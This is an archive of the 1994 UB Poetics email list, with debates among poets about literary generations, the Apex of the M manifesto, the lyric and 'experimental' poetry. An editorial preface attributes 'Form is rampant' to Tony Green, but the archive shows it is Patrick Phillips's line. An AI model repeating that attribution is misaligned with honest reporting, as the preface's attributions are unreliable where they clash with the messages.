to accept Bruce Andrews's "In Funnel" or David Melnick's
Pcoet as doing political work, one has to have a
sense of the political rather more elastic than most
people on the left had in the 70s or for that matter
have today. To abbreviate a much longer discussion:
it takes a highly developed utopian imagination to get
from linguistic to social activism; from the "tyranny
of the signifier" (a phrase that is laughable today but
which articulated aspirations for social change for some
people in the 70s-80s) to anti-capitalist struggle.

What I don't understand is why this hard-won utopian
intelligence (or say: set of reading practices) is
not brought to bear on the *New Coast.* If you can
read Rae Armantrout as "positioned critique" can't
you do the same for Robert Kocik?

I suppose that at some point, Ron, names will have
to be mentioned to go along with generalizations
such as "the continuation of the same set of devices
in increasingly modest forms...characterizes the
broader poetics of G2." I'm honestly not sure what's at
stake for you in such remarks.

On the question of "average ages" of *NC* and *NAP,* it
seems clear to me that biological age doesn't equal "age"
in terms of the poetic field.

To clarify one general point in closing: I am not under
the impression that a collective re-definition of what

poetry is and does has as yet been articulated by G2, which is perhaps all Ron means to be saying. Given the way literary fields work in capitalist social formations, the failure to achieve such a collective redefinition will lead to a lot of interesting poetry disappearing beneath the ready-made rubrics that persist from the last time such a struggle was won.

Gotta go...

↑ Index

88. Tom Mandel

Re: experiwhat?

Mon 31 Oct 1994

"a failed experiment yields no useful data"

not true not in any case and in the least sense true in the sciences. Back to the drawing board.

↑ Index

89. Tom Mandel

Re: experiwhat?

Mon 31 Oct 1994

---

re: patrick phillips -- tho I yield to none in my admiration for Jackson Maclow (we were btw born on the same day in the same place 20 years to the day apart, and schooled at the same u of chicago by many of the same teachers as we jaw-droppingly discovered one day a few years ago over lunch at the zuni cafe in SF), perhaps because of this no-yield : I must protest that...

use mistake failure fragment no no no we need a poetics of effect, in which use is effect and in which we do not make a god of the fragment --excuse me, that is 200 year old romanticism, hanging around the ruins and it really just won't do it's too damned easy. asymmetry has neither advantage nor precedence nor even lack of calculation to boast over symmetry. If "realising...poems is beset with perils" well that doesn't seem too bad really. Water cupped in your hand, are you conscious what streams have fed it?

↑ Index

90. Jeffrey Timmons
Re: Failed Experiments
Mon 31 Oct 1994

F a i l e d e x p e r i m e n t s
Y i e l d
O t h e r
N o t
U s e l e s s
S e n s e
S t u f f
N o t
C o n t a i n e d
B y
F r a m e w o r k s
W e ' v e S e t
O u t

Jeffrey Timmons

↑ Index

91. George Bowering
Re: experiwhat?
Mon 31 Oct 1994

I dont see how writing yr own raw way instead of in someone's tradition constitutes an experiment.
I mean, doesnt an experiment have to start with a proposition?

↑ Index

92. George Bowering
Re: experiwhat?
Mon 31 Oct 1994

Well, I seem to remember that when we did experiments in the lab at school, we were encouraged to build on what science had found out already, though.

↑ Index

93. George Bowering
Re: experiwhat?
Mon 31 Oct 1994

Actually, the term "politically correct" was not first used in jest by liberals. It was used in all seriousness by left wing groups. THEN it was used even by them in jest, before the liberals got hold of it.

↑ Index

94. George Bowering
Re: Failed Experiments
Mon 31 Oct 1994

That piece by Timmons was pretty bad, eh? I'd say that it failed at something, and shouldnt have been published here.

↑ Index

95. Mn Center For Book Arts
Re: nostalgia & nostalgia
Mon 31 Oct 1994

Perhaps this is a misdirection aiming at an aside, but after seeing Kenneth Sherwood repeat a praise Joel Kuszai had made for printer-poets with "not too much nostalgia for the book" I had to take at least a little bit of exception. I came to make books because of my work with writing, feeling like the context of words is a conditioner of words, that it is fundamentally important, that space carries meaning as well as texts do.

I have found, in nearly fifteen years of making books, including more or less visual ones, and being around many who make books by hand & machine, including in the last year as director of one of the country's finest book arts organizations, that while I retain an allegiance to text-driven books, much of the finest work being done in the field has little to do with poetry. I try to do what I can to see that that doesn't remain so.

Yet I find that among the bookmakers who would share intellectual/philosophical concerns with users of this electronic forum, there is often a feeling that someone like me has too much "nostalgia for literature" or for the poem or for the text.

So, is it the work of literature, or the form of the book, for which we yearn, with that sweet nostalgia? Let it be neither, please.

↑ Index

96. Patrick Phillips
Re: experiwhat?
Mon 31 Oct 1994

---

re: Tom Mandel

Mine was not a feigned admiration for Jackson, nor was my proposal that "the idea of use is itself often a mistake" a hymn for the fragment, be it Holderlin's, Mallarme's or the para-tactical fragments of G1. (I can't help but wonder where we put G7 in this shorthand). No, I was using the fragment in this case as an attempt to "bridge" the gap between a notion of use and a notion of experiment which is saw was getting to much in hand (as opposed to out of hand, or toward the uncontrollable experiment.)

To long hand this one; notions of failure, like notions of success, turn on an empirical temporality of too short a duration. (In the case of scientific experimentation this is taken into account by the concept of the theory, or in the addage "if in first you don't succeed...") It is this duration, which in our "terms" measures out in decades and generations, that foists "success" and "failure" upon us. I was using "Assymetry" not as a crutch to a "pre-ness" of language as to a pre-ness of judgement. I wanted to link the "use" of the chance/math language of Assymetry to the fluidity of language _relatively_ independent of an empiric duration which always generates judgements of success and failure. This linkage I hoped and still believe allows for the temporary dismantling of the architecture of failure and success in favor of the dis-array of "use." Use functions; by that I mean that it doesn't loiter in the realm of narrowly-framed perception. Use is temporally beyond critical idiom, the generation paradigm, cross-cultural myopia. We have to look no further than to our wish for greater communication between peoples (as evidence by this medium, sometimes) to see our appreciation for the lag-time of use. Unfortunatley, use is not really on "human time," certainly not on individual time....

With this I would like to point to how we use, and the subsequent use of, this medium. That often it is poorly used. Poor as in impoverished. There are other things to do here than to "participate" in "collaborative" "gestures" of atomized critical "insight." Form is rampant.

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1994

87 messages · Tue 1 Nov 1994 – Wed 30 Nov 1994

In the first week of November the American electorate hands both chambers of its Congress to the opposition for the first time in forty years, and a former president, in a letter of terrible plainness, announces that he has begun the long walk into the sunset of his own memory. The list registers none of it. It has business of its own — a quarrel two centuries old about whether the lyric is reactionary — and it prosecutes that quarrel with the gravity other people reserve for events in their own lifetimes.

The occasion is Shelley, dragged in from the Flaming thread, and George Bowering fires the opening round: anyone who calls the lyric reactionary, he says, has plainly never learned to *"read Shelley with any intelligence."* Ron Silliman, less sentimental about the Romantics, supplies the season's founding axiom — that *"all form(s) is amoral,"* a neutral instrument meaning one thing in Bernadette Mayer's hands and quite another in Dana Gioia's — and the list settles in for a fortnight to decide whether he is right.

He is not, retorts Tom Mandel, who offers the sterner correction that *"all form is moral,"* never innocent of the values it carries; and Tenney Nathanson, reaching past them both, recalls Williams's flat verdict that *"all sonnets say the same thing."* This is the list at its most characteristic — five living correspondents, four decades of theory, and one dead Englishman, all conscripted into an argument nobody expects, or I suspect secretly wishes, to win.

Beneath the high dispute runs a lower and funnier one. The adjective *"experimental,"* unsettled since October, mutates through the headers — experiwhat?, Failed Experiments — until Jeffrey Timmons's much-abused poem is being defended as a triumph precisely because it failed, and Tony Green, surveying the debris of a Patrick Phillips post, announces with satisfaction that *"Form is rampant."* Alongside it the generations sort themselves into rival camps, G1 and G2, the elders performing their ritual self-criticisms while the young take a careful census of who is card-carrying.

Patrick Phillips, correcting a garbled line in his own essay on Silliman's apex of the M, restores it to the question he had meant to ask: *"Just how does one act when the church is on fire?"* It is, in its way, the month's only genuine emergency — put by a man anxious about a metaphor while, just beyond the window, an actual order of things is quietly burning to the ground. I have set the letters in

their true order, returned each correspondent's telephone and address to the privacy they are owed, and left the fire intact.

— Kristen M. Fabians

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1. Mark Roberts

Re: Failed Experiments

Tue 1 Nov 1994

That
piece
by Timmons was
pretty
bad, eh
?
I'd
say
that
it failed
at
some thing
,
and should
nt
have
been
published
here.

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

↑ Index

2. Ron Silliman

G-ology

Tue 1 Nov 1994

First, two corrections, or, as we G1-ers are wont to say, self-criticisms:

Jena's right that I conflated Chain & A Poetics of Criticism. Mea culpa. Tho she doesn't mention that her co-editor also co-edited the Technique section of O-blek 12. I would love to have somebody FULLY elucidate the differences between the various publications with their overlapping editorships. I frankly could learn a lot from that.

Second correction: nobody seems to have caught my error in assigning authorship of Hot Afternoons Have Been in Montana to "Eli Mandel." It was Eli Siegel (who still turned into a professional homophobe at the end of his life). WCW wrote the intro to Siegel's book. Anybody out there read it?

Steve Evans' intro to the Technique section of O-blek 12 seems to me the most heroic attempt to date to articulate a terrain for G2. I think that he's right in that intro about the motivating "hatred of identity" that runs through the work, although his reading of the phenomena in O-blek is more broad and generous than that espoused in Apex's "State of the Art" manifesto. I used those two pieces with my class at Naropa, which led to some lively, albeit inconclusive discussions. Certainly nobody has ever done a more aggressive job misreading and stereotyping a community than Apex' broad swipes at G1 (& esp. LangPo):"an avant-garde dominated in its practices by a poetics espousing the priority of 'language itself' over all other relations." (p. 5)

Is that not a classic instance of labelling theory taking the misnomer "L=A=N=G=U=A=G=E Poet" just a wee bit literally? I've never once met a G1 who espoused that.

Or, later on the same page, "a participatory valorization of this disintegration...." Haven't both Gayatri Spivak & Bob Perelman completely answered that in response to Fred Jameson's only-slightly-more-in-depth reading of the poem "China"?

And, throughout State of the Art, an entire series of presumptions concerning the social functions of innovation, as though everyone from M. Bertrand thru G1 were an Italian futurist celebrating the potentiality of the submachine gun. Talk about "phobic characterization"!!

I think what makes the Apex group stand out so much, especially at a distance (where, for example, it's easier to forget [or ignore] that Alan Gilbert, Kristin Prevallet and Lew Daly, the editors whom I've actually met, are all lovely, charming, intelligent people, as full of complexity and caution as one might want), is precisely the directness of their address, which shoots right through even the "post"iness of its convoluted syntax. While Steve wants me to "say it ain't so,"the Apexers say openly that "a new understanding of our task as iconoclasts and not innovators will emerge." If I ignore for a moment how I feel at the lack of accuracy and generosity in their description of my cohorts in G1, that's still an interesting and difficult claim to make and I want to know more. What distinguishes them as a group phenomenon is their ambition--it's the most "out there" manifesto we've had in ages--even if their "ambition is to have no ambition" (as I think the British punk band The Gang of Four once put it, back in the swampy G1 days of 1982).

Besides, Steve, Chick Gandil, who organized the Black Sox throw of the 1919 series (he was the first baseman), and thus gave rise to the very phrase you use, used to live on my very block here in Berkeley. He worked with my grandfather. That's at least as cosmic as discovering that I'm the reincarnation of one of Jackson Mac Low's past lives. (Or that Jack Spicer and my father died on the very same day in 1965.)

>But on to specifics. (This is Steve "talking")
  Marjorie Perloff's remarks
>about the shifting tenor of political commitments
>among progressives in the U.S. make sense, but let's
>not forget that the "burning political concerns" of
>*In the American Tree* were/are by no means self-evident:
>to accept Bruce Andrews's "In Funnel" or David Melnick's
>*Pcoet* as doing political work, one has to have a
>sense of the political rather more elastic than most
>people on the left had in the 70s or for that matter
>have today.

At the point that David wrote Pcoet, he was either about to (or just had) abandoned his idea of ever finishing his dissertation (the one chapter he wrote appeared in the Maps special issue on Zukofsky), and came out of the closet to his students at Berkeley with a vengence, platform shoes and glitter in his beard. There was absolutely no way that any one confronting either him or that text in those days could not see the text's relation not just to the history of modernism but also to what was then known as "gender fuck" politics.

The argument for Bruce's work is not dissimilar. Tho his idea of gender fuck is a little different.

Besides, one of the major thrusts of one strain of G1 was to counter the various modes of vulgar left critical/aesthetic practice. Bruce Boone, Bob Gluck, Steve Benson, myself and Kathleen Fraser were all once in the same marxist study group, and we had some TERRIFIC arguments. In every sense of that word. And every single one of the G1s who were politically active (not just through our poetry) dealt with these issues repeatedly.

> *What I don't understand is why this hard-won utopian*
> *intelligence (or say: set of reading practices) is*
> *not brought to bear on the *New Coast.**

I disagree that this is what's goin' on. Here the claim in Apex about "iconoclasts and not innovators" rings much truer to my ear. What I want to know is what the social content of that might be.

If you can
>read Rae Armantrout as "positioned critique" can't
>you do the same for Robert Kocik?

Yes, absolutely. I'm interested in examining the nature of each position. I'm not especially making the argument for my g-g-g-generation.
>
>I suppose that at some point, Ron, names will have
>to be mentioned to go along with generalizations

Oh, I still do believe in Lenin's idea that the move toward "abstraction" is toward the truer layer of the concrete.

I'm honestly not sure what's at
>stake for you in such remarks.

I thought (still do) that if I prod a little, I'd get some interesting feedback from poet(s) in G2 (maybe even G3) who would further articulate the landscape, so that the "prospective" (i.e. inchoate) nature posed by O-b 12 might give greater rise to a new shared vision of a broader terrain. Frankly, I'd like to see less reactive criticism and more manifestos a la Apex (and from a broad range of positions). I find it interesting (very ambiguous word here, and deliberately so) that the most detailed response has come from somebody who positions himself as a critic and not as a poet, as such.

> *On the question of "average ages" of *NC* and *NAP,* it seems clear to me that biological age doesn't equal "age" in terms of the poetic field.*

Huh? Actually, the question of age is a complex one all on its own. One of the real values of The Art of Practice is its inclusion of a number of poets generationally part of G1 who did not begin publishing until later than most of those in Tree. (I'm reminded, say, how late both Jackson Mac Low and Hannah Weiner were to publish regularly. When Jackson was my age, 48, he had exactly 6 books in print.)

But I do think that there's a generational dynamic (different for each G) that focuses when poets are under still well under 35, and that to wait longer as a generation to begin to stake out a space is itself a notable step, so that the hesitancy implicit there must itself be looked at as part of the process (Think of Olson's age in comparison to Creeley, Blackburn et al, or of Burroughs to Ginsberg & Kerouac, or of Williams to the Objectivists.)

> *To clarify one general point in closing: I am not under the impression that a collective re-definition of what poetry is and does has as yet been articulated by G2*

Yep, except for Pam, Lew, Kristin & Alan have at least made one stab.

Given the
>way literary fields work in capitalist social formations,
>the failure to achieve such a collective redefinition
>will lead to a lot of interesting poetry disappearing

Absolutely! Several G1ers have noted in recent years how much the O-b 12 formation of G2 reminds them of the younger writers who found themselves active around certain modes of the NAP in the mid- to late-60s. David Schaff, Bill Deemer, Harold Dull, d alexander, Lowell Levant, Ed Van Aelstyn, John Gorham, Gail Dusenbery, Stan Persky, Seymour Faust, George Stanley, William Anderson, Wilbur Wood, etc etc etc. But failing to distinguish their terms from NAP1, NAP2 proved unable, unwilling to set up the institutions that might have insured their own communities' perpetuation into the future.

I am amazed and appalled that neither the Messerli nor the Hoover anthologies include the work of Lew Welch. In the 1960s, he would have come into almost any listing of the 24 or so most influential NAPpers. Such is history. You have to write it yourself.

"Bang. Snap. Crack. They never knew what hit them..."

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3. Mark Wallace

Re: G-ology

Tue 1 Nov 1994

Some items to consider in the current "generation" debate (and let me say that the remarks I'm about to make are not directed at any one particular respondent.

1) It is a standard hegemonic (not to mention racist and imperialist) move to take one piece of writing by some particular "group" (as it is defined from outside) as the example of what is wrong with that "group" as a whole, and then dismissing that "group" on the basis of that one piece of writing. It is even hegemonic, racist, and imperialist to refer to them as a "group." What does all this have to do with many of the reactions to the introductory essay in Apex of the M?

2) "Make it new" was hardly a dictum put forth by someone interested in social liberation. Indeed, "make it new" is at least as effective as a capitalist slogan as it is as a call to radical change. And whatever the social effectiveness of the proponents of "make it new" in poetry (I think it's unclear, but worth discussing) their success has been undeniable in terms of their marketing of that concept and their promotion of poetry that fits the concept.

3) Indeed, it seems true to me that all writers have a complex relation to past and present, making what is "new" by borrowing, changing, demolishing the past.

4) To see the "lyric" as somehow a force of social conservatism is simply HISTORICALLY UNVERIFIABLE. The lyric form, like the use of parataxis, collage, sonnets, whatever, is a possibility that can be made use of, or discarded, in a variety of historical situations.

5) I don't think it's at all clear whether younger writers are "returning to the lyric." But if writers are using lyric forms, the question to ask is NOT "what's wrong with those writers?" but rather "what is it about the contemporary social environment that makes the lyric seem useful to some writers" or "what is it about the lyric that makes it seem useful to some writers in this social environment."

6) One of the things I'm struck by in my conversations with writers of my own age is their GENEROSITY in responding to the work of previous generations of writers. I'm beginning to wonder whether more established writers can respond with the same level of generosity. What does it mean that it would be taken as a sign of WEAKNESS to actually believe that writers in the past did some interesting things?

7) In fact, my objection to Lew Daly's introduction to Apex of the M is not primarily on the level of poetics (though I find the statement of poetics there fundamentally misguided) but that it repeats the same Oedipal MALE model of thinking your poetry has value only if you can "overthrow the enemy." My problem with his introduction is not that it departs from the avant garde manifestos of writers like Breton, Olson, on down to Silliman, etc., but that IT LOOKS TOO MUCH LIKE THOSE MANIFESTOS.

8) But the idea that Lew's work, however interesting or not, is a statement of MY poetics, or that of Steve Evans or Jena Osman or whoever, simply escapes me completely. And that would be true even if I thought everything Lew did was great.

9) To what extent does the discourse of the avant garde remain fundamentally linear, imperialist, etc on the subject of form, the social, etc?

Mark Wallace

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4. Mark Wallace
Re: G-ology
Tue 1 Nov 1994

Some additional comments on my previous missive:

1) What role does GENEROSITY of response to other poets play in who is considered "important", etc. Is attacking the writing of the past the same as a claim to "seriousness"?

2) I WANT TO SEE LESS MANIFESTOS

3) Notice that hegemonic "grouping" practices can be used by everybody against everybody, and they always suck.

4) Charles Borkhus: "You originals/are the biggest dupes" Whether one believes that or not, to what extent is the concept of originality on the level of form a problem rather than a given good?

5) If a revolution were to occur, what makes poets so sure that we would be part of it, rather than what was being fought against?

6) Isn't it possible that everything we know is still wrong? Or at least not more right than previous generations of writers have been?

7) Jefferson Hansen: "I don't know what I think. Hence I am crudely ecletic." Does that make him a WEAK poet? What if it did?

8) Will somebody please say that discussing poetry doesn't have to be the same as a battleground? (excuse me now, I have to go put on my armor)

Mark Wallace

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5. Juliana Spahr
Re: G2
Tue 1 Nov 1994

As to the Evans-Silliman exchange:

I appreciated both posts.
But Steve's I found especially useful for clarifying
a lot of the problems that I had with Silliman's original post.
What I find most frightening about Silliman's arguments is
his reduction of everything in Buffalo
or even elsewhere in the nation to a sort of spiritualism
(it is the only grouping that he acknowledges as really
having any seriousness)
that finally isn't representative of the larger picture.

For starters, as Jena made clear, neither of the editors of Chain
are on the board of Apex of the M.
Chain in fact is a journal that in many ways pursues an opposite
agenda as that of Apex--
it is anti-editorial, anti-grouping. The use of the device of the chain letter
in the first volume was explicitly intended to expand community
definitions beyond editorial privilege
(Jena and I wrote about the success and failure of this project in our
"Editors' Notes").
Also neither of the editors of the Technique volume are on the board of
Apex of the M. But while this is probably just a confusion on Silliman's part,
it also seems in some ways indicative of his blindness to anything
going on in what seems to be called G2 poetry beyond spirit.
Beginning the Technique volume with the Spirit section
was something that went counter
to my editorial wishes and knowledge
(I wanted to open with the broader "word and world" section),
but also I think should not be read as "aggressive."
Peter argues that when he sent this volume off to the printers
with the spirit section first, it was to try to offer some
connection with the Presentation volume--
both begin with Abbot and end Ziolkowsky.
I am willing to chalk it up to alphabetical accident.
But also I don't think that
any more than the twenty-one poets in the spirit section
have much to do with spirit (and come on, even of these twenty-one,
beyond a statement of an idea of poetics
as being transformative, it is hard to see these poets as a unified group--
Miekal And, Lisa Jarnot are hardly spiritualist poets
that would meet the rigors of definition proposed in Apex--
this confusion or expansion of the categories in this collection
was an editorial intention).
Finally, to see the anthology as spiritualist is to
do a great and serious disservice to around one hundred other poets.
Just as to say that the anthology indulges in
"increasingly modest forms"
is to do a great disservice to a whole slew
of writers (who are these people, Ron?
who is "returning to the lyric?
what are their numbers in this volume?
who is draining the social?
what is the social and why is the lyric not social?--

these are all innocent questions on my part,
I need more specifics to actually begin to discuss this topic
which is one that seems very urgent to me).
It is, to just list some names at random,
unfair to Lee Ann Brown's and Karen Kelley's attention to sexuality,
unfair to Kevin Magee's mix of formalism, class struggle, and history,
unfair to Myung Mi Kim's attention to relation,
unfair to Susan Gevirtz's complicated feminism and attention to subjectivity,
unfair to C.S. Giscombe's attention to identity.
It is also I think unfair to the overt
political intention in the anthology to include as many women as men
(something that other anthologies of alternative poetry
don't even come close to attempting and something that
never seems to get mentioned in any complaint about this collection).
Further, I am no longer sure any more, although I would have been a year ago,
that a return to the lyric is a draining of the social.
For starters, it is difficult to separate the social from any form.
Susan Stewart's recent work on the lyric has done a lot of change
the way I think of this form.

Also, I don't see the anthology has having a
"reluctance to acknowledge or own its own position."
It seems rather that there is a complication in the anthology of what it means
to have a position (an identity, a school, a gender).
Steve Evans's introductory piece is good on this.
If there is anything that sits owl-like overlooking a younger generation
it isn't language poetry
anymore than it is the New York school--
it is rather attempts at categorization, at bunker mentality.
Much of the work of what might be called G2 reacts against this
and in very interesting and innovative ways
(Apex is an obvious exception to this in their editorial return to
a concept of poetic discourse as war).
Perhaps the reason such a collection seems such a strange beast
to Silliman is that it is so different than
the rigorous, mathematical model of ITAT. It is a collection of
younger poets--
all of whose writing will change dramatically in the next years.
I prefer to think of the anthology
as more of a phonebook than even an anthology
(these complaints about the authority of this
anthology that are happening in Joel's post and in the discussion of anthologies

at the beginning of the year are very alien to me--
what authority? the whole thing
was thrown together and knows it).
The numbers will change, people will move,
but it is an attempt at a demographic for the year. It claims no completeness.
It doesn't tell you not to read the books of the authors included.
At best, it is a reference tool.
At its worst, it is difficult to read because it includes so many writers.

All of this has put me in the uncomfortable position of defending something that I have worked on. But while I acknowledge a lot of omissions and other problems with the anthology, I also believe that a lot of the work in it is important. I stand behind this work by other people because it has meant something to me. I don't find this work a repetition of language poetry nor does it seem to me upsetting that there are "no literary devices in that collection that you cannot already find in The New American Poetry, In the American Tree, or The Art of Practice" anymore than it upsets me that there are no devices in these anthologies that one cannot find in as inclusive a project as America: A Prophecy or maybe even the Norton. It is emphasis and idea and use of device here that is important. Not device itself.

I hope this makes sense. I would enjoy complaints and clarifications. Juliana Spahr

P.S. Please excuse erratic returns, they are not poetic attempts but rather just attempts to stop the line being cut in two.

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6. Patrick Phillips

"apex of the M" - essay excerpt

Tue 1 Nov 1994

For those of you who are interested, what follows is the preface and footnotes to an essay I have written on the "apex of the M" preface. I present the essay in its abridged form here in part to spare you too much text and for the simple reason that I have it "out" to an editor in hope of publication. My response the the "M" centers upon a notion of "act" is which I feel undermined by the eschatological. The "footnotes" which folow actually contain their own argument and flesh out more fully what I mean by "act." Toward the end of the body of the essay, which is aphoristic in its construction, I quote a critical line offered by Ron Silliman in the "Chinese Notebook"

20.) Perhaps poetry is an activity and not a form at all..... & 25.) How can I show the intentions of this work and poetry are identical?

Here I ain't talkin' 'bout my ge...ge..genuflection.

I would be happy to send the body of the paper to anyone who'd like it.

Patrick Phillips

"Only Be Sure to Spare the Poet's House."

Put it all to the torch! And the king named one by one
the towers, the gates, the temples this marvel of the world;
then brightened, as the thought leaped into words:
"Only be sure to spare the Poet's House."
Akhmatova: from Alexander at Thebes
Leningrad, October 1961

What follows is in part a response to a recent editorial preface published in the first issue of "apex of the M." My initial response upon reading the preface was something of a fever, a visceral anger over the tactics chosen by the editors. Among other things the preface urges a re-figuring of poetry toward a "millennial" poetry; a proffering of the "eschatological" and the acknowledgment of the "sacred" as an orientation in this "iconoclastic" re-figuration. On further reflection, it became clear that the gnostic territory marked out by the editors is an extreme violation of the very things they advocate. I wrote this response to allude to another radicality which turns the editor's contentions inside out, a radicality which alters the grounds toward which such theological terms attempt to surface.

The poet's house in the above epigraph is a protectorate it suffers an enjoined sovereignty. By torching Thebes, yet sparing Pindar's house, Alexander makes of the poet's house a protectorate within an eviscerated political and ideological history a situation which speaks poignantly about Akhmatova's condition in Soviet Russia in the early 1960's.1 This protectorate is a historically ramified condominium; condominial in that it becomes the locus of its own negation, an index of a history apart spared only as a remnant. The tyranny of Alexander's rule is not mitigated by his benevolence to the poets (and priests) of Thebes. By being spared the torch, the poet's house is brought into the state, and made a colony of its ideological adventurism. In a similar fashion, the editor's preface to "apex of the M" makes of the poet's house a protectorate through its reference to Dante's benevolent Monarchy.2 The concept of the monarchy arriving at the new Millennium folds this protectorate around our action/writing. The proposal of a millennial poetry guts the act of its own potential; the cultural and historical magnetism of the Millennium is powerful enough to push historical perspective into a future which is beyond its own significance. It is a warped projection which hurls the act into a future of its own making. This warp enables a projection of "consciousness' which for many reasons is an aberration of any sense of the continuity of work. The

thought of this projection and its working through is in fact suspended by this hurl into the future; this "thought" is propelled by its own idea and is a self-serving futuring and is not arrived at through historical immanence. In other words this gnostic sparing is an evacuation of history through a constant futuring; an eschatological desire which distances desire and history from the moment of act. This maneuver proves quite similar to Alexander's sparing, but in "M" the house is "spared" instead through the sacred as a sacrifice to the Other. In material history, the poet's house cannot be spared by either monarchy; both monarchies only gaze from a distance at the poet's house; they reach only to the threshold of its potential. As though in the flames engulfing Thebes, the thousand lights flickering off the M into the heavens3 illuminate the poet's house as only an iconographic way-station, postponing history until the fulfillment by an other. This other never being accomplished refutes action.4 History in the case of any imperialist tyranny is absorbed by that tyranny the ash surrounding the poet's house. History in the case of "M" becomes a transfixion, dependent upon the course of postponed desire. The M's subjects stand transfixed by the flicker, the meta-physic of the gnostic fire, a fire as tyrannous in its claim on poets as were Alexander's. We begin to see a relationship of the word to history. The force of work in world is equal to its moment of act as reflected in the word. This is the word's duration and consequence. Through this examination we also begin to notice that the image of the M disrupts history, it creates a film on history which is gesturally opaque a shadow of the world. The "apex of the M," in spite of its attempts to be iconoclastic, reapplies the icon in a most graphic and violent form of usurpation, intended as liberatory, yet functioning as a rhetorical device which perhaps unbeknownst to the editors is bent on debilitating human actuality. We begin to see that far from being iconoclastic the editor's spell cast at the apex of the Millennium makes of history a fetish. The result of the distance of act from word in the eschatological breach is that history and the future is idolized, thematized, made aspect of rhetoric and form. In essence the effect of the preface to the "apex of the M" is an "iconoclastic fetishism."5 Within act as a process of work the poet's house is and can only be continuously engulfed in material history by constantly enacting the overthrow of any agency. This is achieved only at the moment of the letter as it is engulfed in history apart from any agency. Indeed this struggle against agency is the interminable contradiction of language, its constant overthrow of its own mediacy. This continuum is itself history; history apart from rhetoric, from style, from form in activity. This essay is a brief examination of the poetic act as act in history and is prompted by the responsibility of this act a responsibility and a history dodged by any agency, any Monarchy, be it "Alexander's," or "God's."

1 At a recent reading given by Michael Palmer he mentioned to the audience that Akhmatova's house is a national museum, but that it is unmarked and its location is known to but a few it is a "secret house."

2 In Dante's cosmology, the "M" falling out of the heavens in a procession of letters (D-I-L-I-G-I-T-E I-U-S-T-I-T-I-A-M...Q-U-I I-U-T-I-C-A-T-I-S T-E-R-R-A-M) orients the reader to view the M as if with a partition between one's eyes. In one eye the M is a promotion of the benevolent monarchy - God's justice - to be established on earth; in the other eye, as some critics would have it, the M, in its transformation to a fleur-de-lis, is a critique of the imperialist ventures of the French Monarchy and of Florentine political schisms France had its hand in the ouster of the Ghibbelenes in Florence and both France and Florence used the fleur-de-lis as political symbols. This politically partitioned view of the M points to a secular monarchy and to Dante's critique of a Prince's justice. The partition of the M is instructive.The moment of the M, of letters, for Dante is partitioned secular and sacred the moment of act and potential.. The schism of act and potential points directly to the schism of secular and sacred, but through the transparency of angels:

'The Angelic intellect is always in a state of pure act that is, its powers never lapse into mere potentiality, but are at every moment actualized. At the other extreme of creation, and therefore in the lowest place is pure matter, the prima materia which is pure potentiality the possibility of becoming realized in some individual form. Midway between the two stand man, a union of both. Part of our powers goes forth intermittently in act or actuality; but part lies inactive as mere potentiality, waiting to be called into play. And in man this union of act and potentiality, Beatrice declares, will never be dissolved. This is sometimes understood as the union of body and soul, which even death can dissolve only for a time; but it seems rather to imply that man even in the world to come will never attain to the pure act of the Angelic intellect some part of his being will remain for ever in potentia.' from In Patria, an Exposition of Dante's Paradiso, Rev. John S. Carroll, M.A., D.D. , Kennikat Press Port Washington, NY/London, 1971, first published in 1911. p. 454.

When seen through the agency of the Angelic intellect, material act is "for ever in potentia." This in potentia is the measure of our act, from without. This external measure results in a violence an excised history very similar to that suffered at the words of Alexander. In a subtle, yet profound shift, if read dialectically, the future does not bestow grace upon act, act is its own futuring.B With the recognition of the trans-temporality of act, there is a clearer understanding of how the poet's house is perpetually engulfed in history; never does it propose a future, it actualizes history as it's own future. To flesh this out further, this notion of act can be likened to the idea of negotiation put forth by Homi Bhaba in location of culture, (Rutledge, '94). In the first chapter,

"The Commitment to Theory," Bhaba refutes the possibility of a transparent agent, or of any third person examination of ideology. He puts forth Mill's "On Liberty" as a clear example of a third person , or transparent agency of political ideology that first marks out difference (polarization) and then reconciles these differences through a careful, (and inherently violent) rationale. (For Bhaba, Mill's transparent agency is a rhetorical/textual manifestation of the political subject through negation.) Opting instead for a textual, or iterate negotiation, Bhaba attempts to position the text in a constant process of emergence from within an ideological translation. "When I talk of 'negotiation' rather than 'negation,' it is to convey a temporality that makes it possible to conceive of the articulation of antagonistic or contradictory elements: a dialectic, without the emergence of a teleological or transcendent History....By negotiation I attempt to draw attention to the structure of 'iteration' which informs political movements that attempt to articulate antagonistic and oppositional elements without the rationality of sublation or transcendence. (pp. 25, 26) What does this have to do with a benevolent monarchy? First, gnosticism is the pre-eminent trans parent agency. For the gnostic, only God is capable of reconciling act and potential. Any acceptance of that agency is a subordination to that agency - a further removal from act's capacity; any acceptance of a transparent agency, any Monarchy, is an acceptance of a negative, transcendental history. Second, the iteration of a gnostic history is the proposition of an Other to which we ascend, of a constant and everlasting potential which is always undoing the act. The extension of this is that through transcendence, history is subordinate to gnostic iteration. B Any attempt to reconcile act with potential must encounter history at its moment and this encounter is impossible through any transparent agency (or angel). In part of the Arcades Project, Benjamin counters very clearly the agency of angels and proposes a material history in constant actualization. The fore- and after-history of historical evidence is made manifest in it by a dialectical presentation. Further: every historical state of affairs presented dialectically polarizes and becomes a force field in which the conflict between fore- and after history plays itself out. It becomes that field as it is penetrated by actuality. And thus historical evidence always polarizes into fore- and after-history in a new way, never in the same way. And it does so go beyond itself, within actuality per se.... (N7a,1)

and in another place:

in allegory the facies hippocratica of history lies before the viewer's eyes like a frozen, primordial landscape...(N2,7)

from N: "Re The Theory of Knowledge,Theory of Progress,"

Act is its own limit and the limit of history. Any agency (any "M") is allegorical and denies this limit and instead presents a mythic history an "antediluvian fossil."

As an historical and cultural cross-reference, parts of the argument put forth by the editors of "apex of the M" are in no way new, or specific even to poetries of the west. A Japanese literary critic Yashimoto Takaaki used a similar argument against self conscious, language-centered writing in Japan in the late 1970's. Yashimoto, reacting to the influence of (French) post-modern thinkers on Japanese poetry in the '60's, argued that "to single out [contemporary] poet's individual characteristics from the ground of their sensibility and the solipsism of their thought has become meaningless." [See the introduction to An Anthology of Contemporary Japanese Poetry, Leith Morton Ed (1993) and Trans and Yashimoto Takaaki, Zomho Sengoshiron (Tokyo: Yamata Shobo, 1983) (The above quote is borrowed from Morton's anthology, page xxiii.)].

